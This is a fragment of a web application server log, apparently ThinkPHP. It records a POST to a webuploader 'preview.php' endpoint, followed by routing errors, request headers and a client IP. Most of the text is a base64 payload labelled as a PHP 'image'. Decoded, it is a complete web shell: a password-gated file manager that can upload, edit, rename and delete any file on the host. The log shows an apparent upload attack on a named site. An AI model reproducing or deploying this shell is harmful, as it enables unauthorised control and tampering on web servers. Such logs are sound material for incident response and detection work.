'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'plugins', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:30+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/platform/js/webuploader/0.1.5/server/preview.php [运行时间:0.002483s] [吞吐率:402.76req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'platform', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 